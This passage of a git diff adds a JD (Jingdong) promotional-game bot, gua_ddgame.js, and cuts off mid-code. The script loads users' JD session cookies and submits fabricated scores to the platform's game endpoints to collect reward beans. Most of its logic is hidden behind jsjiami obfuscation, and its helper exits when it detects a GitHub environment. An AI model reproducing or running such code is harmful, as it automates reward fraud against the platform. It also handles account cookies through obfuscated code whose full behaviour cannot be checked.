a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_ddgame.js b/backUp/gua_ddgame.js new file mode 100644 index 0000000..1325c19 --- /dev/null +++ b/backUp/gua_ddgame.js @@ -0,0 +1,45 @@ +/* +东东游戏[gua_ddgame.js] +只支持NodeJs环境 (脚本加密 + +如出现 Error: Cannot find module 'form-data' + +请安装模块'form-data' +npm install form-data + +共5款游戏 +第1款 极速赛艇 + 执行最短时间需要35秒 + 倒计时在30秒 分数达到200 有机会获得随机数量的好玩豆 +第2款 荒漠求生 + 执行最短时间需要80秒 + 三次生命 分数达到500 有机会获得随机数量的好玩豆 +第3款 森林的秘密 + 执行最短时间需要90秒 + 15次机会 分数达到1000 有机会获得随机数量的好玩豆 +第4款 潮玩总动员 + 执行最短时间需要90秒 + 120秒内 分数达到100 有机会获得随机数量的好玩豆 +第5款 空中掠夺 + 执行最短时间需要35秒 + 30秒内 分数达到600 有机会获得随机数量的好玩豆 +全执行最少需要6分钟/个账号 +默认全执行 + +环境变量 +guaDDGametype="1,3" //指定玩某款游戏 +guaDDGametype="all" //空、不设置或者all 没有填指定内容不玩游戏 畅玩所以游戏 + + +17 12-23/4 * * * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_ddgame.js + +*/ +let guaDDGametype = "all" + +const $ = new Env('东东游戏'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +var _0xodp='jsjiami.com.v6',_0x500b=[_0xodp,'56m65Lit5o6g5aS6','YWxs','44CQ5o+Q56S644CR6K+35YWI6I635Y+WY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tLw==','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrA==','ZE9XRnk=','b2RZU3U=','R1lQTWM=','RkNBUnY=','aW5kZXhPZg==','YUJWck8=','RmhqYkw=','bXNn','bmFtZQ==','aXdkbHA=','dmNGTk0=','bGVuZ3Ro','VXNlck5hbWU=','bWF0Y2g=','aW5kZXg=','a0tvS0U=','YmVhbg==','QWxJRXo=','bmlja05hbWU=','CgoqKioqKirlvIDlp4vjgJDkuqzkuJzotKblj7c=','KioqKioqKioqCg==','SEhtbHk=','c2VuZE5vdGlmeQ==','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','ZG9uZQ==','R0VPT2k=','aXN2T2JmdXNjYXRvcg==','6I635Y+WW3Rva2VuXeWksei0pe+8gQ==','Z2V0TXlQaW5n','YWNjZXNzTG9nV2l0aEFE','aHR0cHM6Ly9pbWcxMC4zNjBidXlpbWcuY29tL2ltZ3pvbmUvamZzL3QxLzcwMjAvMjcvMTM1MTEvNjE0Mi81YzUxMzhkOEU0ZGYyZTc2NC81YTEyMTZhM2E1MDQzYzVkLnBuZw==','Z2V0VXNlckluZm8=','YWN0aXZpdHlDb250ZW50','5rS75Yqo57uT5p2f','5LiK5Lyg5pWw5o2u5Lit','c2F2ZVNjb3Jl','T2xNTVI=','Z2FtZQ==','YWRTb3VyY2U=','dUtKSkM=','TnJOZEw=','VkhrWXA=','c3BsaXQ=','aW5jbHVkZXM=','ZWdJekM=','Qkp0cE4=','U3djYm8=','CuWHhuWkh+eOqeesrA==','alB2S1M=','Xea4uOaIjw==','VG9rZW4=','UGlu','aGFzRW5k','YU1IRU0=','cFR2Um4=','aGlzUHI=','TWFVTFM=','cGFyc2U=','6I635Y+WY29va2ll5aSx6LSl','eVV5bnM=','eVVqenM=','VmR1VXM=','ZWhWeUU=','ZXBJcmg=','S25yUUQ=','YXR0clRvdVhpYW5n','WVFkR3U=','a0NzY1Q=','U1hsUE0=','RFlZQng=','VVJzWU4=','ZnJhY3Rpb24=','WVZwTE0=','Zmxvb3I=','TnZSak0=','cmFuZG9t','YmdnQ0I=','dGltZQ==','YU5mZVQ=','VUhPd3c=','cFVvbXU=','TWF4ZnJhY3Rpb24=','TWluZnJhY3Rpb24=','Z2h3SnM=','QVJVb2g=','d2NMVnQ=','dlBSUWY=','a0RvTkE=','R3VPdFQ=','562J5b6FNeenki3nrKw=','VHVHYXg=','d2FpdA==','T0dwTGw=','Rm1xbVQ=','eGVNa1Y=','Ym5HRno=','UWJYcmo=','Wlhrb2Q=','S1FTYmI=','QUxudlM=','TFpfVE9LRU5fS0VZPQ==','TFpfVE9LRU5fVkFMVUU9','bHpfamRwaW5fdG9rZW49','Uk51Rko=','5q2kaXDlt7LooqvpmZDliLbvvIzor7fov4cxMOWIhumSn+WQjuWGjeaJp+ihjOiEmuacrAo=','Z2xGYnA=','UmRFY00=','aHVjU1Q=','6K+35Yu/6ZqP5oSP5ZyoQm94SnPovpPlhaXmoYbkv67mlLnlhoXlrrkK5bu66K6u6YCa6L+H6ISa5pys5Y676I635Y+WY29va2ll','a0RVUE8=','dUFMV20=','UE9TVA==','Z2V0U2ltcGxlQWN0SW5mb1Zv','Z2V0U3lzdGVtQ29uZmln','Z2V0U2hvd0ltZw==','aW5zZXJ0Q3JtUGFnZVZpc2l0','YWN0aXZpdHlJZA==','ZHoyMTA5Njg4NjkzMDE=','dXVpZA==','cGlu','dHlwZQ==','c2NvcmU=','QnlLV1E=','bVZSYWY=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPWVkYjk2OGJkMmZlMTQ1NDI4YjEyYWQ4NWVkMjRjYjcyJmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MzIwNjE3NTQwMDAmc3Y9MTIwJnNpZ249MDM4ZjkwN2Y2YmQxNTUxZjcwMTdjYTA1NDdiMDBmODU=','d29wZko=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jdXN0b21lci9nZXRNeVBpbmc=','dXNlcklkPTY4ODY5MyZ0b2tlbj0=','JmZyb21UeXBlPUFQUA==','UmV4bk8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kei9jb21tb24vZ2V0U2ltcGxlQWN0SW5mb1Zv','YWN0aXZpdHlJZD1kejIxMDk2ODg2OTMwMQ==','Q21XRHA=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS93eENvbW1vbkluZm8vZ2V0U3lzdGVtQ29uZmln','VkNUdU4=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jb21tb24vYWNjZXNzTG9nV2l0aEFE','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2Z1Z3UvZ2FtZS9hY3Rpdml0eT9hY3Rpdml0eUlkPWR6MjEwOTY4ODY5MzAxJmFkU291cmNlPQ==','dmVuZGVySWQ9Njg4NjkzJmNvZGU9OTkmcGluPQ==','eEFHVVc=','JmFjdGl2aXR5SWQ9ZHoyMTA5Njg4NjkzMDEmcGFnZVVybD0=','JnN1YlR5cGU9QVBQJmFkU291cmNlPQ==','cVRacVo=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS93eEFjdGlvbkNvbW1vbi9nZXRVc2VySW5mbw==','cGluPQ==','SWpSVFY=','VVV1bnA=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2Z1Z3UvZ2FtZS9hY3Rpdml0eUNvbnRlbnQ=','YWN0aXZpdHlJZD1kejIxMDk2ODg2OTMwMSZwaW49','JnBpbkltZz0=','Jm5pY2s9','YmVaZ2g=','bmlja25hbWU=','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0mYWRTb3VyY2U9','bGlobGg=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL3VuaW9uL3Bvc3Rlci9nZXRTaG93SW1n','SWhpVk8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jcm0vcGFnZVZpc2l0L2luc2VydENybVBhZ2VWaXNpdA==','dmVuZGVySWQ9Njg4NjkzJmVsZW1lbnRJZD0lRTglQjclQjMlRTglQkQlQUMmcGFnZUlkPWR6MjEwOTY4ODY5MzAxJnBpbj0=','TVJkR0E=','c1FLVEU=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2Z1Z3UvZ2FtZS9zYXZlU2NvcmU=','Z2V0Qm91bmRhcnk=','YXBwZW5k','Y1JIZlM=','ZWRwYXQ=','QVhlT3Y=','YWN0b3JVdWlk','dkpaV1Y=','ZERBdFM=','amlYcUs=','ZlpwalY=','aEhrclU=','UUJHdmo=','cFJ5d1Q=','eVByeE8=','UURDYXM=','VlVtU3g=','QVJHRWo=','aHVmZlY=','cUJtaEo=','S2ppT0M=','RlVQSlo=','Y3BOaHQ=','a2hJcEI=','dlJZT3Q=','akhWWVQ=','TlJtTEo=','WURFbVU=','bU1zbms=','bGZjWFA=','cG9zdA==','Z29WdVE=','SVJwZEc=','Sm5qSG0=','QWJDZHQ=','cXVtTkU=','T1BlRGI=','ZGpJU2k=','VlRHS1c=','R2lxeVY=','c3RhdHVzQ29kZQ==','TGxUY00=','TldSeHE=','dG9TdHI=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','cHRBZkE=','RXJuRkQ=','UW9VSnI=','dHJpbQ==','T25xZ0Y=','dWNydWk=','UFJvYXU=','cmVwbGFjZQ==','bW9YUVI=','YkVQV0s=','amNwUUc=','S2JjQU4=','Zm5BWUk=','dWR4WEU=','cVBNbUg=','Vkl0cEo=','bGJ5U2o=','ZXJyb3JNZXNzYWdl','Ukh6ZUg=','YWJjZGVmMDEyMzQ1Njc4OQ==','dW5kZWZpbmVk','Q29udGVudC1UeXBl','QWNjZXB0','Ki8q','RW9QTWo=','b2JqZWN0','T21XWEY=','S3p0aU4=','bnlyZlU=','ZldPTlk=','Z0F6U0Q=','TG5Bbks=','b2pyYXE=','bG5Sdk4=','RUxRUGE=','UHhYaXA=','RmxIZ3g=','V2RRU1U=','S3hUUlg=','YWlmWmY=','V1JqQkE=','IOaJp+ihjOS7u+WKoeW8guW4uA==','cnVuRmFsYWc=','cFJXQ2Y=','YkJHTHI=','WVFwekE=','ZXJyY29kZQ==','cmhaWUg=','dG9rZW4=','SkZLanI=','bWVzc2FnZQ==','aXN2T2JmdXNjYXRvciA=','VU5jRlc=','Wlh1Q3A=','amlSSlI=','Q1FsQmg=','UW1URHE=','RnVnU2o=','Y2hhckF0','U2VPZWQ=','WHhBQlg=','dHJPS3o=','cmVzdWx0','ZGF0YQ==','c2VjcmV0UGlu','a213Sk8=','QVhkVkQ=','VGJoeUw=','eUFvSFg=','RGFoemg=','TW12YXA=','eXVuTWlkSW1hZ2VVcmw=','VUxFaEw=','YXhxRXE=','cE1pT2g=','SVZac3Y=','R21uZlo=','SExHUlA=','dHVEemQ=','YnBPam8=','b3Vsc2Y=','QkpBZ1M=','Rk9tcXQ=','YUFiTEw=','RnZYQUk=','bXNWTkc=','cVlieEE=','b1RQdmk=','bFptcmw=','SllWU1o=','aWhwU3U=','cEhSeXU=','TURKdU8=','Y3RBUFo=','b21LRkw=','R1JXbWw=','UEtnZUw=','bXVsdGlwYXJ0L2Zvcm0tZGF0YTsgYm91bmRhcnk9','Ym91bmRhcnk=','cmFvTmM=','RXJlSnA=','ZmxpZQ==','bWFyaw==','QVJoTEk=','QlFNZno=','a2RMVk8=','5ri45oiP57uT5p2fLOiOt+W+lw==','SGRBUEI=','5ri45oiP57uT5p2fLOa4uOaIj+Wksei0pSA=','S1NLcmY=','b09tQ2w=','TFBRVW0=','LT4g','dXliSXY=','UUpzVmI=','dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','WE1MSHR0cFJlcXVlc3Q=','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','dEhhWHY=','R0dSelg=','UmVmZXJlcg==','T3JpZ2lu','Q29va2ll','QVVUSF9DX1VTRVI9','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','YXBwbGljYXRpb24vanNvbg==','ZGluZ3poaS9mdWd1L2dhbWUvc2F2ZVNjb3Jl','WnlhQ20=','UHRKQ2c=','Y2tSVmI=','VktsaUg=','aFZGZXg=','TFdJRlI=','SG9jQ0s=','SGN2bGM=','TG5jdXA=','VE5TcEU=','VEtyS3g=','bWR0clA=','ZmRaUnU=','eUpwQ0U=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','Z2VLZE4=','Q2RGR1I=','Zm11b1o=','SVR3aFA=','emtpdmc=','RXd4RlI=','UHhwWkk=','dmlrU3c=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','YlhMa0Q=','ZHhNeWM=','V1Zud2E=','cnhXc3c=','bGpxSGo=','R0Vmblg=','QlNBaUU=','RGlnV2c=','RmpQdkY=','QUFMS3I=','SFBJUXc=','YXFvd3M=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9semNsaWVudC9kemdhbWVzL2pkbXR4R2FtZXMvU25ha2UvaW5kZXguaHRtbD91dWlkPQ==','JnBpbj0=','a1VoaU0=','UXphR2w=','emlsS28=','UXpqYmk=','RmZqR2U=','a0JaSHg=','UURWU0o=','TnZVSlc=','Z2V0','akFOY0k=','VnVMeFU=','WG5ORXk=','eU9ZUWI=','SnNhWEI=','T0VOQlA=','bUZZY0s=','ZmRpaFQ=','bVFUTnk=','WGt0Q3U=','SW1ZeEw=','VXVvZlc=','YXREQWE=','dW1ySVg=','WE1vTHQ=','Rk1UWmI=','bW1Tb2E=','YVZCYU0=','anhjZk4=','ZkZzQUU=','V3pPYWw=','ZGlEVFI=','WlNacWw=','cmpIVUY=','RmlFTFc=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','Q1V3V20=','a2JCRlA=','aUJWU3E=','T2dJbXU=','RHZvelE=','alViWUQ=','S0t6RUM=','a0JlTkI=','Q3Rrc0k=','WElWamU=','cURVeHo=','elhTaFg=','Y3V2RHg=','eFNHeFY=','Uk5YeUY=','QWZmWWo=','Wm5FdEs=','WUhtQ1U=','amRhcHA7aVBob25lOzEwLjEuNDsxMy4xLjI7','cVBGdmQ=','O25ldHdvcmsvd2lmaTttb2RlbC9pUGhvbmU4LDE7YWRkcmVzc2lkLzIzMDg0NjA2MTE7YXBwQnVpbGQvMTY3ODE0O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18xXzIgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','YlBPZEw=','WE5tblk=','cFROTG4=','QkZFUlg=','c3RyaW5n','UnR3RkY=','ZE5QSEo=','a2dJS2o=','akNGeGE=','Q1dmT3o=','SEJVdU0=','ZWxoUEI=','Zm9ybS1kYXRh','aXNOb2Rl','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llSkQ=','Q29va2llSkQy','Q29va2llc0pE','bWFw','Y29va2ll','ZmlsdGVy','Z3VhRERHYW1ldHlwZQ==','aG90RmxhZw==','b3V0RmxhZw==','dGVtcA==','R2FtZXM=','5p6B6YCf6LWb6ImH','6I2S5ryg5rGC55Sf','5qOu5p6X55qE56eY5a+G','5r2u546p5oC75Yqo5ZGY','bjWsjiIamki.com.QvDn6deuPzfP=='];(function(_0x45c682,_0x129e25,_0x26440a){var _0x49d39e=function(_0x55bc04,_0x1b9705,_0x3a8311,_0x278709,_0x3a2cda){_0x1b9705=_0x1b9705>>0x8,_0x3a2cda='po';var _0x27efcc='shift',_0x2c3bca='push';if(_0x1b9705<_0x55bc04){while(--_0x55bc04){_0x278709=_0x45c682[_0x27efcc]();if(_0x1b9705===_0x55bc04){_0x1b9705=_0x278709;_0x3a8311=_0x45c682[_0x3a2cda+'p']();}else if(_0x1b9705&&_0x3a8311['replace'](/[bWIkQDndeuPzfP=]/g,'')===_0x1b9705){_0x45c682[_0x2c3bca](_0x278709);}}_0x45c682[_0x2c3bca](_0x45c682[_0x27efcc]());}return 0xa9265;};return _0x49d39e(++_0x129e25,_0x26440a)>>_0x129e25^_0x26440a;}(_0x500b,0x1c3,0x1c300));var _0x5a8a=function(_0x4a9823,_0xdb7e56){_0x4a9823=~~'0x'['concat'](_0x4a9823);var _0xe8beab=_0x500b[_0x4a9823];if(_0x5a8a['mKlkKb']===undefined){(function(){var _0x38db16=function(){var _0x264673;try{_0x264673=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x40be89){_0x264673=window;}return _0x264673;};var _0x24123b=_0x38db16();var _0x6acf3e='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x24123b['atob']||(_0x24123b['atob']=function(_0x481012){var _0x2bf6ad=String(_0x481012)['replace'](/=+$/,'');for(var _0x58dfbf=0x0,_0x5b4835,_0x4f99d9,_0x61227a=0x0,_0x5a5066='';_0x4f99d9=_0x2bf6ad['charAt'](_0x61227a++);~_0x4f99d9&&(_0x5b4835=_0x58dfbf%0x4?_0x5b4835*0x40+_0x4f99d9:_0x4f99d9,_0x58dfbf++%0x4)?_0x5a5066+=String['fromCharCode'](0xff&_0x5b4835>>(-0x2*_0x58dfbf&0x6)):0x0){_0x4f99d9=_0x6acf3e['indexOf'](_0x4f99d9);}return _0x5a5066;});}());_0x5a8a['miXmki']=function(_0x6555d){var _0x3e5951=atob(_0x6555d);var _0x2b50bd=[];for(var _0x44c4cf=0x0,_0x2612f3=_0x3e5951['length'];_0x44c4cf<_0x2612f3;_0x44c4cf++){_0x2b50bd+='%'+('00'+_0x3e5951['charCodeAt'](_0x44c4cf)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x2b50bd);};_0x5a8a['YPeNgV']={};_0x5a8a['mKlkKb']=!![];}var _0x3a5470=_0x5a8a['YPeNgV'][_0x4a9823];if(_0x3a5470===undefined){_0xe8beab=_0x5a8a['miXmki'](_0xe8beab);_0x5a8a['YPeNgV'][_0x4a9823]=_0xe8beab;}else{_0xe8beab=_0x3a5470;}return _0xe8beab;};const FormData=require(_0x5a8a('0'));let cookiesArr=[],cookie='';if($[_0x5a8a('1')]()){Object[_0x5a8a('2')](jdCookieNode)[_0x5a8a('3')](_0x2e1a5a=>{cookiesArr[_0x5a8a('4')](jdCookieNode[_0x2e1a5a]);});if(process[_0x5a8a('5')][_0x5a8a('6')]&&process[_0x5a8a('5')][_0x5a8a('6')]===_0x5a8a('7'))console[_0x5a8a('8')]=()=>{};}else{cookiesArr=[$[_0x5a8a('9')](_0x5a8a('a')),$[_0x5a8a('9')](_0x5a8a('b')),...jsonParse($[_0x5a8a('9')](_0x5a8a('c'))||'[]')[_0x5a8a('d')](_0xbad31c=>_0xbad31c[_0x5a8a('e')])][_0x5a8a('f')](_0x5529dc=>!!_0x5529dc);}guaDDGametype=$[_0x5a8a('1')]()?process[_0x5a8a('5')][_0x5a8a('10')]?process[_0x5a8a('5')][_0x5a8a('10')]:''+guaDDGametype:$[_0x5a8a('9')](_0x5a8a('10'))?$[_0x5a8a('9')](_0x5a8a('10')):''+guaDDGametype;allMessage='';message='';let UA='';let lz_jdpin_token_cookie='';let activityCookie='';$[_0x5a8a('11')]=![];$[_0x5a8a('12')]=![];$[_0x5a8a('13')]=[];$[_0x5a8a('14')]=[{'adSource':0x0,'name':_0x5a8a('15'),'Maxfraction':0x121,'Minfraction':0xd2,'time':0x23},{'adSource':0x1,'name':_0x5a8a('16'),'Maxfraction':0x2bc,'Minfraction':0x1fe,'time':0x50},{'adSource':0x2,'name':_0x5a8a('17'),'Maxfraction':0x7d0,'Minfraction':0x3f2,'time':0x5a},{'adSource':0x3,'name':_0x5a8a('18'),'Maxfraction':0xe6,'Minfraction':0x6e,'time':0x5a},{'adSource':0x4,'name':_0x5a8a('19'),'Maxfraction':0x7d0,'Minfraction':0x378,'time':0x23}];!(async()=>{var _0x4a3b0d={'dOWFy':function(_0x22d191,_0x19d4fa){return _0x22d191!=_0x19d4fa;},'odYSu':_0x5a8a('1a'),'GYPMc':function(_0x5d0b17,_0x3fb5af){return 